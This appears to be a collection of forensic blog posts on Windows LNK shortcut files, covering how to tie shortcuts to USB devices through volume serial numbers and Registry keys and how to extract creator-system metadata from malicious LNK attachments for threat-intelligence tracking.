From the Lab: Mapping USB devices via LNK files

My first "From the Lab" post will be to address something I see regularly in forums; how does one tie a specific USB-connected device to a Windows system using shortcut (LNK) files, given nothing more than an acquired image to work with? We know that we can extract information about USB devices that have been connected to a system using nothing more than the raw System Registry file...we can get the devices, any drive letters they were mapped to, as well as the date that they were last connected to the system. However, often times we'll have some shortcut files in an image that will point to specific files...images, documents, etc...that we may be interested in, and the drive letter will be F:\ or G:\, or something else that is not part of the system (either as physical or logical drive) that we acquired the image from. So the question is, how do we map the shortcut file to the specific device?

Well, the first thought would be to go to the MountedDevices key and see which devices were mounted as specific drive letters. We know that the binary data for a specific DosDevice entry will contain a reference that looks like "\??\STORAGE\RemovableMedia", followed by the ParentIdPrefix of the device. So, if we have a shortcut file that contains the path "F:\malware.exe", and we know that the device called "\DosDevices\F:" points to a removable storage device, we can then use the ParentIdPrefix value to map back to the USB device found beneath the Enum\USBStor key.

Remember: the ParentIdPrefix value is NOT the device serial number!!

But what happens if you find the multiple USB devices have been connected to the system, and several of them have been mapped to the F:\ drive letter? How do you determine which device was connected when the shortcut was created? Well, to find out, I decided to run a little experiment...

Here's how the experiment works...I plug a GeekSquad 1GB thumb drive into my laptop, and when the drive is created (F:\), I open it and create a shortcut to an application or file on the thumb drive. The shortcut goes on my desktop. This is meant to simulate shortcuts created by files on the thumb drive being accessed/opened, and the shortcut (.lnk) files being created in the Recent folder.

The first thing I did was run secinspect.exe (with the "-n" switch to avoid the hex dumps). As the thumb drive is not a disk, per se, I do not get a disk signature.

Next, I ran ldi.exe, a tool I wrote that is available on the DVD that accompanies my book (located in the ch1\code\Tools directory). This tool implements WMI (Perl source code is available on the DVD, as well) and uses the Win32_LogicalDisk to get the volume serial number from the device (Note: the Win32_PhysicalMedia class returns the manufacturer's serial number for hard drives). Running ldi.exe with the "-c" switch to obtain the .csv format output, I get:

F:\,Removable,,1B360101,FAT,,961.875 MB

Basically, this says that the F:\ drive is identified by Windows (XP SP2, in this case) as being a removable disk, with volume serial number 1B36-0101. The device is formatted FAT, and is approximately 1GB.

Ah, the volume serial number. Very cool! What is the volume serial number, or VSN? The VSN is a value that is calculated, based in part on the current date and time, when the partition is formatted, and added to the boot sector. For all intents and purposes, it should be a unique value, specific to the device, although it can be modified. This Usenet post provides some insight at to how the VSN is created on Win95.

I verified the volume serial number using "chkdsk f:", and got:

Volume Serial Number is 1B36-0101

It is important to note that this experiment is being run against a USB-connected thumb drive, which happens to be formatted FAT. The volume serial number appears to be located in the 4 bytes starting at offset 0x027 within the (first) primary partition. According to the MS TechNet article How NTFS Works, the volume serial number for a partition formatted NTFS is an 8-byte value located at offset 0x48.

The commands "fsutil fsinfo volumeinfo F:" and "vol F:" return the same information as the chkdsk command.

Using a tool based on Jesse Hager's Windows shortcut file format documentation (ie, lslnk.exe found in the ch5\code directory on the book DVD), we see that the shortcut file also includes that volume serial number:

Shortcut file is on a local volume.
Volume Name =
Volume Type = Removable
Volume SN = 0x1b360101

Okay, so far, so good. In most cases, however, you may not have the actual thumb drive available, for whatever reason. So how're you going to map the shortcut file to the specific device that appears in the USBStor key within the Registry? We already know how to map the USBStor key entry to the drive letter that it was mapped to...but that only works if we assume that another device wasn't attached to the system and mapped to the same drive letter at some later point in time. But if you do not have the thumb drive, is the volume serial number useful? It doesn't appear to be so, as the volume serial number does not seem to be stored in any location (key or value) within the Registry that I can locate at this time. This may be by design, as a thumb drive can be reformatted and given a different volume serial number, but be the same device and have the same unique instance ID (serial number from the device descriptor). I even checked the disk_install and volume_install entries within the setupapi.log file, and found no specific reference to the volume serial number at all.

So, as of yet, there does not appear to be any way to map from the info in a shortcut file (ie, drive letter and volume serial number) to the specific thumb drive, without having that thumb drive available. An alternative would be to map time-based information from artifacts (MAC times on the shortcut file, on Prefetch files, associated with other Registry entries) to the time-based information regarding when the device was last connected to the system.

If anyone has any other information that they'd like to share about this issue, it would be greatly appreciated.

Resources:
Windows 2000: Disk Concepts and Troubleshooting
MS TechNet: How FAT Works
Understanding Disk Volume Tracking in Windows 95

Links and Stuff

After traveling last week, I thought I'd throw up some updates and interesting things I've run across...

JL's got a good blog post on sources of info, including podcasts, listservs, etc. I hadn't heard of the Exotic Liability podcast before, I'll have to check that one out...checking out the web page, it looks pretty cool, especially the post about controlling web cams. JL also provides her blogroll, etc...anyone have anything to add to any of the lists she's provided?

Matt's got some new goings-on over at F-Response with the release of the F-Response EMC version 3.09.1 (Don talks it up, as well), and has posted about F-Response working with something called the Revealer Toolkit. If anyone's seen or used this before, would you care to post a review?

Links for file system stuff:
WikiPedia Common Filesystem Features
MS TechNet NTFS Time Stamps

What else? Oh, yeah...put in a little work on merging the code from two separate Prefetch (XP and Vista) file parsing scripts into one unified script, updating the code that is currently on the DVD that ships with my book. The updates to the code are based, in part, on my desire to not have a ton of code just lying around, as well as information from this blog post. I haven't actually looked at the EnScripts that are available, as the code I'm working on is intended to work on a live system, Prefetch files extracted from an acquired image, and Prefetch files accessible via a mounted (SmartMount, ImDisk, etc.) image or via F-Response. The script parses items such as the volume information block from the .pf file, getting things such as the volume serial number. Here's an example of the output of the script run against a Prefetch file on my local system:

C:\Perl>pref.pl -f c:\Windows\prefetch\MRT.EXE-1B4A8D49.pf -i
c:\Windows\prefetch\MRT.EXE-1B4A8D49.pf Fri May 15 00:37:33 2009 (1)

Volume Path : \DEVICE\HARDDISKVOLUME1
Volume Creation Date: Mon Aug 7 16:05:41 2006 Z
Volume Serial Number: 8456-B799

Since the file is from my local system, I can verify the volume serial number:

C:\Perl>vol
Volume in drive C has no label.
Volume Serial Number is 8456-B799

Pretty sweet. Analysis of the Prefetch files can lead to some interesting information, particularly when using the entire capability of the script to output such things as the embedded file paths. Prefetch files are perhaps most often tied to the named application being run on the system, the last time that application was run, and how many times it has been run. Keep in mind, though...Prefetch files by themselves do not tie the launch of the application to a user.

Speaking of Windows Forensic Analysis 2/e, one of the marketing folks at my publisher has said that copies of the book will be drop-shipped from the printer to TechnoSecurity in Myrtle Beach, SC. Unfortunately, I just found that out, and there's no way for me to get to the conference...but I'm hoping that we'll have copies of the book available at the SANS Forensic Summit in July.

Other Resources
ForensicWiki page on Visualization Software

Definitions

I've run across a couple of questions lately that have all pointed to one of the biggest issues I see in the IR/CF community...a lack of specificity of language. In particular, many of us use different terms to describe the same thing, or just incorrect terms. In an attempt to address this, I want to provide a couple of definitions and links to further information.

Disk signature
This is a value specific on a hard drive, found within the MBR. The disk signature can be found in the first sector at offset 0x1B8, and is 4 bytes in length. When you acquire a system, you can check this value with a hex editor (as well as via the hex view of the tool you're using, be it X-Ways, ProDiscover, etc.).

This value is also stored in the MountedDevices key in the System Registry hive file, as well. If you open up RegEdit on a live system and navigate to that key, you'll see several value entries for both volumes (\??\Volume{GUID}) and drive letters (\DosDevices\) that have binary data that is 12 bytes in length. The first 4 bytes is the disk signature, and that's followed by the offset to the partition. Again, this is specific to MountedDevices key Registry values whose names begin "\??\Volume{GUID}" or "\DosDevices\", and whose binary data is 12 bytes in length.

Side Note: You may find other entries...for example, a value name that looks like "#{GUID}" may refer to a TrueCrypt volume that was mounted to the system.

You can also use this value to determine the length of the volume, as well. This is useful in determining not only the size of the installed hard drive(s), but also the size of volumes for attached USB external hard drives. This does not apply to thumb drives.

Volume serial number
The volume serial number is written to the volume by Windows each time it is formatted. This value is calculated using the current date and time, and can be easily viewed by opening a command prompt to the volume (ie, C:\, D:\, etc.) and typing the vol command.

Device serial number
This is a unique value that, if available, can be pulled from the device descriptor of a USB removable storage device. You can view this value in the Registry...if you see the value with "&" as the second character, this is a value generated by Windows when a USB removable storage device does NOT have a serial number in its device descriptor. In Windows Forensic Analysis, I mention a tool called UVCView from Microsoft, but I have not been able to locate this tool for quick download via MS. However, it does appear to be part of the driver toolkit.

Okay, this is only a couple of terms, but too often, we see them mixed and matched and used interchangeably, when all that really does is confuse the issue. I don't want to get into a debate or discussion over certifications and governing bodies here...I just want to see if we can't get on the same sheet of music.

Thanks.

HowTo: USB Thumb Drives

Now and again, I get some interesting questions from folks, usually posing a previously-addressed question with a slightly different twist on it.  I received one of these types of questions recently and wanted to post a HowTo for others to review, and provide something to which they can add comments.

The question involved a thumb drive, and mapping the use of the thumb drive to a Windows shortcut/LNK file.  The items that we have are the device serial number (pulled from the device descriptor of the thumb drive...remember, this is NOT located in the memory area) and the volume serial number (VSN) from the formatted volume on the device.  These definitions should help you understand what we're referring to.

By now, most of us are familiar with how to go about doing USB device analysis on Windows systems.  This has been covered extensively by Rob Lee of SANS (see the Resources section below), as well as in Windows Registry Forensics and Windows Forensic Analysis 3/e. 

The key to answering the question of mapping volume serial numbers (VSNs) to specific devices on Vista and Windows 7 can be found in the EMDMgmt key.  This key is associated with ReadyBoost, and lists some details of the device that was connected to the system, including the unique device descriptor, the volume name, and the VSN.  Remember that the VSN can be changed simply by reformatting the device; however, this key should provide valuable information for mapping devices and VSNs (pulled from LNK files).

The EMDMgmt key and it's usefulness is discussed in detail in chapter 5 of Windows Forensic Analysis 3/e.

Often times, the Windows Portable Devices key (mentioned on pg 115 of Windows Registry Forensics; the data can be extracted from the Software hive using the port_dev.pl RegRipper plugin) will contain some very useful information, such as historical drive mappings.  Beneath this key is the Devices key, and beneath that key are subkeys that refer to devices that have been connected to the system.  The "FriendlyName" value will often contain the drive letter to which the device was mounted; in one instance, I have a device that was connected and has the volume name ("TEST") in that particular value data, rather than the drive letter.  The subkey name will usually contain the unique device identifier (very often, the device serial number) within the name...simply parse the key name apart, using "#" as your separator, and you'll see it at or near the end.

Addendum
I came up with a graphic to illustrate the relationship between various Registry hives and keys (and some values) with respect to this analysis:

Resources
Blog Post: Windows Portable Devices (Vista)
SANS Forensic Guide for profiling thumb drives on Windows systems
WindowsIR: Mapping USB devices via LNK (2007)

LNK Files In The Wild

The FireEye folks recently shared a fascinating article regarding a spear-phishing campaign that involved the use of 'weaponized' LNK files, two of which were of particular interest:

1. SPEC-10T-MK2-000-ISS-4.10-09-2018-STANDARD.pdf.lnk
MD5: ec0fb9d17ec77ad05f9a69879327e2f9

2. From the Related Samples section is another LNK file with a filename that includes the Ukranian word for "Conclusion"
MD5: fe198e90813c5ee1cfd95edce5241e25

It turns out there are some similarities in the metadata of the LNK files, but also some odd differences.

Similarities:
Basepath, shellitemIDlist: C:\Windows\System32\mshta.exe
Description: "Type: Text Document"
Iconfilename: ".\128_2_21.docx"
Commandline: Very similar, both point to same domain, although the command line in LNK 1 is base64 encoded, and in LNK 2, it isn't
PropertyStoreDataBlock: both contain the same SID, S-1-5-21-871675894-2481818095-1561791058-1002

Differences:
Volume SN: Volume serial numbers are different both systems
TrackerDataBlock: Both LNK files have different TrackerDataBlocks, including the machineID field.

In the past, similarities in LNK file metadata (machineID, volume serial number, MAC address) have been attributed to a single VM being shared.  So, the question becomes, how do different LNK files include the same user SID, but different volume serial numbers, NetBIOS machine names, and MAC addresses?

The MAC address artifact, I get.  I can also see how the iconfilename might be the same; personally, I'm a fan of re-using things that work.  The description field is entirely optional, and the fact that they're the same between LNK files is interesting.  In and of themselves, the different values in the TrackerDataBlock (machine ID, MAC address) are not unusual, but given that the SIDs are the same, that is odd.  Could it be the result of something like this?  If so, that's pretty darned specific.

Thoughts?

Parsing the Cozy Bear LNK File

November 2018 saw a Cozy Bear/APT29 campaign, discussed in FireEye's blog post regarding APT29 activity (from 19 Nov 2018), as well as in this Yoroi blog regarding the Cozy Bear campaign (from 21 Nov 2018).  I found this particular campaign a bit fascinating, as it is another example of actors sending LNK files to their target victims, LNK files that had been created on a system other than the victim's.

However, one of the better (perhaps even the best) write-up regarding the LNK file deployed in this campaign is Oleg's description of his process for parsing that file.  His write-up is very comprehensive, so I won't steal any of his thunder by repeating it here.  Instead, I wanted to dig just a bit deeper into the LNK file structure itself.

Using my own parser, I extracted metadata from the LNK file structure for the "ds7002.lnk" file. The TrackerDataBlock includes much of the same information that Oleg uncovered, including the "machine ID", which is a 16-byte field containing the NetBIOS name of the system on which the LNK file was created:

***TrackerDataBlock***
Machine ID            : user-pc
New Droid ID Time     : Thu Oct  6 17:03:04 2016 UTC
New Droid ID Seq Num  : 13273
New Droid    Node ID  : 08:00:27:92:24:e5
Birth Droid ID Time   : Thu Oct  6 17:03:04 2016 UTC
Birth Droid ID Seq Num: 13273
Birth Droid Node ID   : 08:00:27:92:24:e5

From the TrackerDataBlock, we can also see one of the MAC addresses recognized by the system.  Using the OUI lookup tool from Wireshark, we see that the OUI for the displayed MAC address points to "PcsCompu PCS Computer Systems GmbH".  From WhatsMyIP, we get "Pcs Systemtechnik Gmbh".

Further, there's a SID located in the PropertyStoreDataBlock:

***PropertyStoreDataBlock***
SID: S-1-5-21-1764276529-1526541935-4264456457-1000

Finally, there's the volume serial number embedded within the LNK file:

vol_sn             C4B2-BD1C

A combination of the volume serial number, maching ID, and the SID from the PropertyStoreDataBlock can be used to create a Yara rule, which can then be submitted as a retro-hunt on VirusTotal, in order to locate other examples of LNK files created on this system.

Note that the FireEye write-up mentions a previous campaign (described by Volexity) in which a similar LNK file was used.  In that case, MAC address, SID, and volume serial number were identical to the ones seen in the LNK file in the Nov 2018 campaign.  The file size was different, and the embedded PowerShell command was different, but the rest of the identifying metadata remained the same two years later.

Another aspect of the LNK file from the Nov 2018 campaign is the embedded PowerShell command.  As Oleg pointed out, the PowerShell command itself is encoded, as a base64 string.  Or perhaps more accurately, a "base" + 0x40 encoded string.  The manner by which commands are obfuscated can be very telling, and perhaps even used as a means for tracking the evolution of the use of the technique.

This leads to another interesting aspect of this file; rather than using an encoded PowerShell command to download the follow-on payload(s), those payloads are included encoded within the logical structure of the file itself.  The delivered LNK file is over 400K in size (the LNK file from 2016 was over 660K), which is quite unusual for such a file, particularly given that the LNK file structure itself ends at offset 0x0d94, making the LNK file 3476 bytes in size.

Oleg did a great job of walking through the collection, parsing and decoding/decryption of the embedded PDF and DLL files, as well as of writing up and sharing his process.  From a threat intel perspective, identifying information extracted from file metadata can be used to further the investigation and help build a clearer intel picture.

Addendum, 31 Dec: Here's a fascinating tweet thread regarding using DOSDate time stamps embedded in shellitems to identify "weaponization time" of the LNK file, and here's more of that conversation.

Plugin: EMDMgmt

Shortly after announcing the RegRipper consolidation, Corey hit me with a great idea...why not create a series of posts to spotlight a particular plugin, explain what it does, how it can be used, etc.  I thought that this was a great idea, and told him that I would join in, so you can expect to see posts from both of us every now and again, in which we discuss a specific plugin.  Once these posts start to appear, I will add them as links to a page on the RegRipper Wiki.  If anyone else decides to write a similar post, please send me the link and I'll add it to the page.

The first plugin that I thought I'd take a look at is emdmgmt.pl. "EMD" apparently stands for "external memory device", which was the working name of ReadyBoost while it was being developed.  When you connect a device to a Vista+ system, the ReadyBoost service checks the device to determine its characteristics and stores this information beneath the following key:

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Emdmgmt

This key gets populated with subkeys that refer not just to thumb drives connected to the system, but also external drives, sometimes referred to as "drive enclosures" (which, of course, has to have a drive in it).  It appears that ReadyBoost performs some sort of "check" of the device in order to determine it's capabilities and see if it's suitable for use.

This plugin is useful for two primary reasons.  First, it's a great way to verify that certain types of devices (thumb drives, external drives) had been connected to the system at one point.  This can be validated against other sources of information (System hive, etc.).

The other useful aspect of information stored in this key applies specifically to thumb drives.  In particular, the subkey that applies to a thumb drive contains the device class identifier, the device serial number, the volume serial number, and possibly the volume name (if the mounted volume has a name).  For example,

Disk&Ven_Best_Buy&Prod_Geek_Squad_U3&Rev_6.15
  LastWrite: Sun Jul 17 12:13:25 2011 Z
  SN: 0C90195032E36889&0
  Vol Name: TEST
  VSN: 6403-CD1C

This is clearly a Best Buy Geek Squad U3 thumb drive that I connected to my system.  That I really like about this is the volume serial number that's listed in the output.  This is translated from the information maintained at the very end of the key name.  I've used this information to correlate to VSNs stored in Windows shortcut/LNK streams (shortcuts in the user's Recent folder, Jump Lists), allowing me to tie the various artifacts together in order to demonstrate not only that a particular user accessed the thumb drive, but to also demonstrate what the file system on that device looked like at the time that the user accessed it.  I can then further augment this information with the output of the comdlg32.pl and shellbags.pl plugins.

HowTo: Tie LNK Files to a Device

Based on commentary I've seen in a couple of online forums, I thought I'd resurrect the "HowTo" label from some previous blog posts, and share (for commentary, feedback and improvement) some of the analysis processes that I've used while examining images of Windows systems.  There is a good deal of information available regarding various Windows artifacts, and one of perhaps the most difficult aspects of analysis is to tie various disparate bits of information together, correlating the artifacts, and building a complete picture so that your analysis can be used to answer questions and provide solutions.

This particular topic was previously discussed in this blog (and here's another, much older post), but sometimes processes like this need to be revisited.  Before we start, however, it's important to point out that this process will work only on Windows Vista systems and above, due to the information that is required for the process to work properly.

LNK Files
A Windows shortcut/LNK file can contain volume serial number, or VSNs.  This is intended to be a unique 4-byte (DWORD) value that identifies the volume, and is changed when the volume is reformatted.  Many tools that parse LNK files will display the VSN in their output, if one exists.

Note: Prefetch files include a volume information block which also contains a VSN.  If this information is different from the local system...that is, if a user launched an application from an external storage device...you can also use this process to correlate the VSN to the particular device.  You can view the VSN for a volume on a live system by navigating to the volume via the command prompt and typing the 'vol' command.

Registry
The EMDMgmt key (within the Software hive) contains information about USB external devices connected to the system.  This information is generated and used by the ReadyBoost service, at least in part to determine the suitability of the device for use as external RAM.

The path to the key in question is:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\EMDMgmt

This key will contain subkeys that pertain to and describe external storage media.  The subkeys that we're interested in are those that begin with "_??_USBSTOR#".  These subkey names are very similar to artifacts found in the System hive, particularly in the USBStor subkeys.  These subkey names include device serial number, as well a volume name (if one exists) and a VSN in decimal format.

An example of such a subkey name, with the VSN in bold, appears as follows:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\EMDMgmt\_??_USBSTOR#Disk&Ven_Best_Buy&Prod_Geek_Squad_U3&Rev_6.15#0C90195032E36889&0#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}TEST_1677970716

For those subkeys that pertain to USB thumb drives, the emdmgmt.pl RegRipper plugin will parse the subkey name, and display the VSN formatted in a usable, understandable manner.  That is to say that the plugin will translate the decimal value for the VSN into a hexidecimal format, and display it in the same manner as the VSN seen in LNK and Prefetch files, as well as what is displayed by the vol command on live systems.

Again, it is important to note the EMDMgmt key exists on Vista systems and above, but not on XP systems. As such, this technique will not work for XP/2003 systems.

Now that we have these two pieces of information, we can correlate LNK files (or Prefetch files, if necessary) to a particular device, based on the VSNs.  I've used this technique a number of times, most recently in an attempt to determine a user's access to a particular device (remember, LNK files are most often associated with a user, as they are often located within the user's profile).  If you know what it is that you're attempting to determine or demonstrate...that is, the goals of your analysis...then the tools and artifacts tend to fall right into place.  When I've had to perform this type of correlation of artifacts, because of the tools I have available, this analysis is complete in just a few minutes.

As a final note, do not forget the value of historical information on the system, particularly for the Registry.  The RegBack folder should contain a backed-up copy of the Software hive, and there is additional information available in VSCs.  Corey Harrell has a number of excellent posts on his blog that demonstrate how to use simple tools and processes...batch files...to exploit the information available in VSCs.

Resources
MS-SHLLINK file format specification
Description of EMDMgmt RegRipper plugin

Links, Updates

LNK Attachments
Through my day job, we've seen a surge in spam campaigns lately where Windows shortcuts/LNK files were sent to the targets as email attachments.  A good bit of the focus has been the embedded commands within the LNK files, and how those commands have been obfuscated in order to avoid detection or analysis.  There is some great work being done in this area (discovery, analysis, etc.) but at the same time, a good bit of data and some potential intelligence is being left "on the floor", in that the LNK files themselves are not being parsed for embedded data.

DFIR analysts are probably most often familiar with LNK files being used to either maintain malware persistence when infected, or to indicate that a user opened a file on their system.  In instances such as these, the MS API for creating LNK files embeds information from the local system within the binary contents of the LNK file.  However, if a user is sent an LNK file, that file must have been created on another system all together...which means that unless a specific script was used to create the LNK file on a non-Windows system, or to modify the embedded information, we can assume that the embedded information (MAC address, system NetBIOS name, volume serial number, SID) was from the system on which the LNK file was created.

I'd blogged on this before (yes, eight years ago), and while researching that blog, had found this reference to %LnkGet% at Microsoft.

I recently ran across this fascinating write-up from NVISO Labs regarding the analysis of an LNK file shipped embedded within an old-style (re: OLE) MSWord document.  While the write-up contains hex excerpts of the LNK file, and focuses on the command used to launch bitsadmin.exe to download malware, what it does not do is extract embedded artifacts (SID, system NetBIOS name, MAC address, volume serial number) from the binary contents of the LNK file.

I know...so what?  Who cares?  How can you even use this information?  Well, if you're maintaining case notes in a collaboration portal, you can search for various findings across engagements, long after those engagements have closed out or analysts have left (retired, moved on, etc.), developing a "bigger picture" view of activity, as well as maintaining intelligence from those engagements.  For example, keeping case notes across engagements will allow a perhaps less experienced analyst see what's been done on previous engagements, and illustrate what further work can be done (just-in-time learning).  Of course then there's correlating multiple engagements with marked similarities (intel gathering).  Or, something to consider is that there are Windows Event Log records that include the NetBIOS name of the remote system when a login occurs, and you might be able to correlate that information with what's seen embedded in LNK files (intel collection/development).

MS-SHLLINK: Shell Link Binary File Format

AutoRun - ServiceStartup
Adam's found yet another autostart location within the Registry, this one the ServiceStartup key in the Windows Registry.  I haven't seen a system with this key populated, but it's definitely something to look out for, as this would make a great RegRipper plugin, or a great addition to the malware.pl plugin.

However, while I was looking around at a Software hive to see if I could find a ServiceStartup key with any values, I ran across the following key that looked interesting:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN\AutoRestartList

Digging into the key a bit, I found a couple of interesting articles (here, and here).  This is something I plan to keep a close eye on, as it looks as if it could be very interesting.

Analysis
The guys from Carbon Black recently shared some really fascinating analysis regarding "a malicious Excel document was used to create a PowerShell script, which then used the Domain Name System (DNS) to communicate with an Internet Command and Control (C2) server."

This is really fascinating stuff, not only to see stuff you've never seen before, but to also see how such things can be discovered (how would I instrument or improve my environment to detect this?), as well as analyzed.

Imposter Syndrome
I was catching up on blog post reading recently, and came across a blog post that centered on how the imposter syndrome caused one DFIR guy to sabotage himself.  Not long after reading that, I read James' post about his experiences at BSidesSLC, and his offer to help other analysts...and it sounded to me like James was offering a means for DFIR folks who are interested to overcome their own imposter syndrome.

On a similar note, not too long ago, I was asked to give some presentations on cyber-security at a local high school, and during one of the sessions, one of the students had an excellent question...how does someone with no experience apply for an entry-level position that requires experience?  To James' point, I recommended that the students with an interest in cyber-security start working on projects and blogging about them, sharing what they did, and what they found.  There are plenty of resources available, including system images that can be downloaded and analyzed, malware that can be downloaded and analyzed, etc.  Okay, I know folks are going to say, "yeah, but others have already done that..."...really?  I've looked at a bunch of the images that are available for download, and one of the things I don't see is responses...yes, there are some, but not many.  So, download the image, conduct and document your analysis, and write it up.  So what if others have already done this?  The point is you're sharing your experiences, findings, how you conducted your analysis, and most importantly, you're showing others your ability to communicate through the written word.  This is very important, because pretty much every job in the adult world includes some form of written communications, either through email, reports, etc.

Here's what I would look for if I were looking to fill a DFIR analysis position...even if the image had already been analyzed by others, I'd look for completeness of analysis based on currently available information, and how well it was communicated.  I'd also look for things like, was any part of the analysis taken a step or two further?  Did the "analyst" attempt to do all of the work themselves, or was there collaboration?  I'd want to see (or hear, during the interview) justification for the analysis steps along the way, not to second guess, but in order to understand thought processes.  I'd also want to see if there was a reliance on commercial tools, or if the analyst was able to incorporate (or better yet, modify) open source tools.

Not all of these aspects are required, but these are things I'd look for.  These are also things I'd look at when bringing new analysts onto a team, and mentoring them.

PowerShell
I posted recently about some interesting Powershell findings that pertain to Powershell version 5.  I found this while examining a Windows 10 system, but if someone has updated the Powershell installation on their Windows 7 and 8 systems, they should also be able to take advantage of the artifacts.

However, something popped up recently that simply reiterated the need to clearly identify and understand the version of Windows that you're examining...Powershell downgrade attacks.

This SecurityAffairs article provides an example of how Powershell has been used.

UEPOTB, LNK edition

A while back, Jesse Kornblum published a paper titled, "Using Every Part of the Buffalo in Windows Memory Analysis". This was, and still is, an excellent paper, based on it's content and how it pertained to the subject (Windows memory analysis). However, what Jesse shared in that paper had additional value, in that it he expressed the idea of using everything available to the analyst.

Since then, we've seen more than a few papers, blog posts and articles where the author(s) go only so far with the extent of what they share regarding the data they're looking at, and do not truly use all the parts of the buffalo. Examples of these include blog posts or articles where LNK files are delivered as part of a phishing campaign, and the author only goes so far as to show the basic properties of the LNK file, perhaps up through the command line, but then stopping there.

Now and again, we do see articles published by teams that truly do strive to use all the parts of the buffalo, leveraging everything they have available, but those are still few and far between. Perhaps one of the most notable examples is a Mandiant article from 19 Nov 2018 that referred to a phishing campaign (using LNK files) by APT29/"Cozy Bear". In the article, the authors compare activity from a similar campaign from 2016, using LNK files from the previous campaign (see figures 5 & 6).

One such example of where the content falls short is a recent blog post from Cyble. The article contains references to three LNK files using in phishing campaigns, each illustrated in the article by opening the file via the Properties tab, as seen in figure 1. This shows specific elements of the LNK file, but only those visible via the Properties tab. 

Figure 1: LNK Properties

What we see in figure 1 also shows that the author(s) had access to the LNK files themselves, and could have done so much more with them. 

Hashes for the LNK files are also listed in the IoCs table at the end of the article, and I was able to find one of the file available for download via another site online, and was able to extract the metadata illustrated in figure 2.

Figure 2: TrackerDataBlock

"christmas-destr" seems to be pretty unique workstation name, and might prove to be interesting in tracking and retro-hunts. And yes, if you do an OUI lookup on the node IDs shown in figure 2, they'll align with "VMWare, Inc.", which isn't surprising. 

Interestingly enough, the LNK file also contains a fairly well-populated PropertyStoreDataBlock, which isn't something we see in every LNK file, and can provide insight into how the shortcut file was "constructed". Different methodologies and tools for creating LNK files leave different toolmarks.

Taking things a step further, in addition to the information in the rest of the LNK file discussed above, we can see from figure 3 that the information within the file header and the shell item ID list can be fairly illuminating.

Figure 3: LNK header+

The original article was published on 19 Dec 2024, which provides some idea as to the timeframe of when the LNK file would have been deployed in a campaign, collected, and analyzed. Using the information illustrated in figure 3, we get some additional insight as to the timeframe specifically associated with the LNK file, particularly those time stamps within the shell items.

In addition to the volume serial number (i.e., "280C-1822"), the time stamps and MFT reference numbers extracted from the shell items provides additional indicators that can be used to align with LNK files from other campaigns. 

Another such example is a blog from Blackberry that discusses a Pakistani threat group dubbed "Transparent Tribe". I was able to find a couple of the LNK files listed in the appendix available for download, based on the provided hashes. What I found when comparing the metadata extracted from two LNK files was that aside from some minor differences, mostly in the command lines, they were nearly identical. Same volume serial number, same machine ID, same time stamps in the shell items, etc. In this case, the machine ID value was "desktop-e7n7e7f", which (a) should be compared across the other LNK files as well as other data sources, and (b) can be used along with other elements of metadata as part of a VirusTotal retro-hunt to expand the intelligence aperture even further, potentially associating the system with other campaigns. 

These LNK files also contained a PropertyStoreDataBlock, but rather than being as verbose as the previous example from the Cyble article, these LNK files simply contained a SID:

S-1-5-21-3861309104-3271506253-2070734288-1001

Okay, but so what? Why does any of this matter? 

Well, these indicators, when combined and added to other indicators, tell us a good bit about the operational processes of the threat actor, as well as the development environment and processes employed by the threat actor/group.

Beyond the basic indicators, the structure of the LNK file itself can tell us a good bit about how the LNK file was constructed, as well as the situational awareness of the actor or group. For example, there have been instances where the time stamps in the shell items have been zero'd out, essentially removing those indicators. However, I'd be careful about any assumptions made regarding a threat group's situational awareness or operational security based on metadata within LNK files; the simple fact is that this information is largely left unused by many firms, so why bother with the extra steps or work to remove the indicators?

LNK "Toolmarks"

LNK Artifacts and "Toolmarks"
I've discussed LNK files in this blog a number of times over the years, mostly focusing on the file format.  In one instance (from 5 years ago), the focus was on parsers, and specifically about determining devices that had been connected to the system, as when it comes to illicit images/videos, such things can determine the difference between "possession" and "production".  This sort of information can also be used to address such topics as data exfiltration.

Last year, I started looking at LNK files (here, and then shortly thereafter, here...) from a different perspective; that of LNK files being sent as email attachments, or somehow being delivered to a "victim".

So, what?  Why does this matter?  Most users of Windows systems are very familiar with LNK files, or "Windows shortcuts", as they pertain to user actions on a system, or software installations.  Both of these generally result in an LNK file being created.  And if you follow malware write-ups or threat intel blog posts, you'll very likely see mention of some malware variant or targeted adversary creating an LNK file in a user's StartUp folder as a means of remaining persistent on the system.  These LNK files are usually created on the compromised system, through the use of the local API, so other than their location, there's nothing too terribly interesting about them.

However, when an adversary sends a Windows shortcut file as an email attachment (or through some other mechanism) that LNK file contains information about their (the adversary's) system.  The folks at JPCERT/CC mentioned this about a year and half ago (the folks at NViso Labs said something similar, as well); if the LNK file was created (via the MS API) on the adversary's system, then it likely contains the NetBIOS name of the system, the MAC address, the volume serial number, and the code page number (although in the research I've done so far, I have yet to find an LNK file with the code page number populated).  While anyone of these values may be seen as trivial, all of them together can be employed to great effect by researchers. For example, using the NetBIOS name, MAC address, and VSN (such as illustrated in this blog post), I wrote a Yara rule that I deployed as a VirusTotal retro-hunt, in order to look for other examples; I ended up with several dozen responses in very short order.  An example of such a rule is the "shellphish" Yara rule illustrated in this blog post.  In the case of the "shellphish" rule, the LNK file that I initially looked at also included a SID in the Property Store Data Block, and including it in the retro-hunt served to minimize false positives (i.e., hits on files that contained the other byte sequences, but were not what I was looking for).

Using an LNK file parser available online, I parsed a LNK file with an embedded, base64-encoded Powershell command, and saw the following:

[Distributed Link Tracker Properties]
Version: 0
NetBIOS name: RAA6AFwAYQBhAC4Aã\ J G
Droid volume identifier: 69426764-4841-414d-0000-000000000032
Droid file identifier: e09ff242-e6d1-9945-a75d-f512f84510dc
Birth droid volume identifier: 8e3691fc-e7be-bc11-6200-1fe2f6735632
Birth droid file identifier: e09ff242-e6d1-9945-a75d-f512f84510dc
MAC address: f5:12:f8:45:10:dc
UUID timestamp: 03/17/3700 (13:54:42.551) [UTC]
UUID sequence number: 10077
The file was moved to a new volume.

Okay, so, this is very different.  Usually, the "NetBIOS name" is 16 bytes, which is what my own parser looks for; however, in this case, what is the "machine ID" consumes a good bit more than 16 bytes, as illustrated in figure 1.

Fig 1: Hex dump from LNK file; Tracker Data Block

